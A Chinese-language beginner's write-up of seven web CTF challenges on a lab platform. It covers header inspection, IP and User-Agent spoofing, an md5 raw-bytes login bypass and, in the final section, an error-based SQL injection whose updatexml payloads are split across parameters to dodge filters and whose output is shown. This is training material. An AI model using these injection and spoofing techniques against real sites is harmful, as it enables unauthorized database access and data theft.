实验吧 Web的WriteUp
每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup.
0x01 天下武功唯快不破
题目提示 : 看看响应头
既然让看响应头,那就看一下响应头. F12 -> 点击network -> 查看响应头

我们看到了响应头里面有一个属性FLAG.用base64编码了. 解码后是 P0ST_THIS_T0_CH4NGE_FL4G:Q3OXSguWO
就是说我们要用Post发送一条请求,然后再看页面的注释 :<!-- please post what you find with parameter:key -->
现在写好代码就好了.
import requests
import base64 url ="http://ctf5.shiyanbar.com/web/10/10.php"
r = requests.get(url=url)
#对回显的响应头数据flag进行base64解码
key =base64.b64decode(r.headers["flag"].encode('utf-8'))
#获取想要的后面的字符串.分隔符是:
ans =str(key,'utf-8').split(':')
key =ans[1]
data ={"key":key}
#发送post请求
r = requests.post(url=url,data=data)
print(r.text)
然后拿到了flag: CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}
0x02 猫捉老鼠
题目提示:catch!catch!catch!嘿嘿,不多说了,再说剧透了
既然是catch那就是抓包了.用fiddler抓包,看响应头
HTTP/1.1 200 OK
Date: Sat, 22 Sep 2018 12:45:23 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Row: MTUzNzYxOTk0Mw==
Content-Length: 132
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html <form method='POST' action=''>
Input your pass key:
<input name='pass_key' type='text'></input>
<input type='submit'/>
</form>
蓝色的部分是自己定义的响应头,如果不懂可以看HTTP协议,看响应头都有哪些.
刚开始以为要解码填入key,后来发现不用解码,直接填入就得到flag了.
KEY: #WWWnsf0cus_NET#
考察内容:应该是对HTTP响应头的熟悉.这样就知道哪些是自己定义的响应头了.
0x03 后台登录
一道脑洞题.
刚开始看源码,发现了注释里面有代码
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
刚开始以为是注入,后来发现原来登录密码就是文档的名字ffifdyop.php的ffifdyop 输入后就得到flag了.
flag is :flag{ffifdyop_has_trash}
0x04 貌似有点难
一道代码审计的题目
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
} $GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
整个源码就是判断你IP地址是不是等于1.1.1.1 如果等于就显示flag.题目目的就是伪造ip的使用.
所以拦截数据包在请求头里面添加
X-FORWARDED-FOR: 1.1.1.1
就会得到flag
Key is SimCTF{daima_shengji}
0x05 what a fuck!这是什么鬼东西?
看到一堆字符,不要慌仅仅是一种编码方式叫做JSFuck.直接复制所有编码然后粘贴到console控制台中然后运行就可以获得flag
密码是:Ihatejs
0x06 头有点大
进去后发现有三行英文.意思说你禁止访问本服务器,因为你要安装.net framework 你的浏览器是ie在英国地区.
在英国是不存在的,.ent最高版本才4.x你就来个9.9 明显是错误的.虽然没有但是伪造骗一骗机器还是可以的.
You don't have permission to access / on this server. Please make sure you have installed .net framework 9.9! Make sure you are in the region of England and browsing this site with Internet Explorer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64 ;.NET CLR 9.9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept-Language: en-gb,en;q=0.9
上面就是抓包修改的部分内容.
The key is:HTTpH34der
0x07 加了料的报错注入
这题算一道很不错的题目了.根据题目就知道出题人让我们用报错注入做题了.
tips:post username and password... 提示已经给出.
F12看到注释里面有一行语句.
<!-- $sql="select * from users where username='$username' and password='$password'"; -->
可以看出来单引号,先尝试一下. usernam=1'&password=2

单引号报错了. 确实可以进行报错注入.再尝试一下其他的. username=1'+or+'1'='&password=2

检测到了注入. 等于号被过滤了.username还过滤了() 但是password没有过滤.看别人的解释,才懂.一种叫做HTTP分隔注入的方式.用/**/注释掉中间部分.
select * from users where username='$username' and password='$password' 如果我们传入参数username=1/*&password=*/2 那么最后的SQL语句就是
select * from users where username=1/* and password=*/2 中间这一部分就被注释掉了.
因为前面说了=被过滤,所以使用regexp
--爆数据库名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(database()),0x7e),1)+or+'
XPATH syntax error: '~error_based_hpf~'
--爆表名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema+regexp+'error_based_hpf'),0x7e),1)+or+'
XPATH syntax error: '~ffll44jj,users~'
--爆列名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name+regexp+'ffll44jj'),0x7e),1)+or+'
XPATH syntax error: '~value~'
--爆数据
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+value+from+ffll44jj),0x7e),1)+or+'
XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'
实验吧 Web的WriteUp的更多相关文章
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- 实验吧web题:
实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 2017-2018-2 20155225《网络对抗技术》实验九 Web安全基础
2017-2018-2 20155225<网络对抗技术>实验九 Web安全基础 WebGoat 1.String SQL Injection 题目是想办法得到数据库所有人的信用卡号,用Sm ...
- 2017-2018-2 20155225《网络对抗技术》实验八 Web基础
2017-2018-2 20155225<网络对抗技术>实验八 Web基础 1.Web前端HTML 输入命令apachectl start打开apahce,并使用netstat -aptn ...
- 20155201 网络攻防技术 实验九 Web安全基础
20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...
- 20155201 网络攻防技术 实验八 Web基础
20155201 网络攻防技术 实验八 Web基础 一.实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...
- 20155222卢梓杰 实验九 Web安全基础
实验九 Web安全基础 今天不多bb,打开webgoat就是干好吧 1.简单字符串sql注入 可以看到这个实验说明是 "下表允许用户查看其信用卡号码.尝试插入一个SQL字符串,以显示所有信用 ...
- 20155222卢梓杰 实验八 Web基础
实验八 Web基础 1.安装apache sudo apt-get install apache2 2.启动apache service apache2 start 3.使用netstat -tupl ...
随机推荐
- PHP中的异常和错误(转载)
博客好久没有更新了,实在惭愧,最近在忙人生大事,哈哈!这段时间没有看什么新的东西,结合项目中遇到的PHP异常处理问题,我又重新梳理了之前模糊的概念,希望对大家理解PHP异常处理有所帮助. 请一定要注意 ...
- Socket服务端和客户端文件传输
很多朋友在使用socket编程时不可避免的都做过文件传输,而视频电影等需要一个字节一个字节的传输:但是客户端一般都通过-1进行终止,服务也一样:但是存在的问题是客户端永远不会把-1传递给服务端:因此经 ...
- Notepad++-第一篇命令行语句执行之编译、运行Java
1.让Notepad++编译和运行Java,在电脑上要已经配置好了Java的开发环境 2.在Notepad++上面的选项栏中找到 Plugins--->Plugin Admin 3.在Avail ...
- 【CF321E】+【bzoj5311】贞鱼
决策单调性 + WQS二分 我们首先列出转移式: \(f[i]=Min(f[j]+Sum[j+1 , i])\) 首先我们考虑如果让一段区间的小鱼在一起的代价怎么预处理,我们可以对于一个上三角矩阵求个 ...
- AngularJS语法
1,$scope(作用域) 是应用在 HTML (视图) 和 JavaScript (控制器)之间的纽带. $scope是一个对象,有可用的方法和属性. $scope可应用在视图和控制器上.2,所有的 ...
- vue 中使用class(样式)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- RocketMQ集群部署安装
RcoketMQ:[ 1.低延时:在高压下,1毫秒内超过99.6%的反应延迟. 2.面向金融:具有跟踪和审计功能的高可用性. 3.行业可持续发展:保证了万亿级的消息容量. 4.厂商中立:一个新的开放的 ...
- 【转】一文搞懂C语言回调函数
转:https://segmentfault.com/a/1190000008293902?utm_source=tag-newest 什么是回调函数 我们先来看看百度百科是如何定义回调函数的: 回调 ...
- 【学习】011 JVM参数调优配置
自动内存管理机制 Java虚拟机原理 所谓虚拟机,就是一台虚拟的机器.他是一款软件,用来执行一系列虚拟计算指令,大体上虚拟机可以分为 系统虚拟机和程序虚拟机, 大名鼎鼎的Visual Box.Vmar ...
- [CF] E. Camels
CF 2000 的dp题目还是有点难qwq 题意: 一行有\(n\)个空位,每个空位可以填\([1,4]\)的整数,要求: 1.有\(t\)个位置满足 \(ai−1<ai>ai+1(1&l ...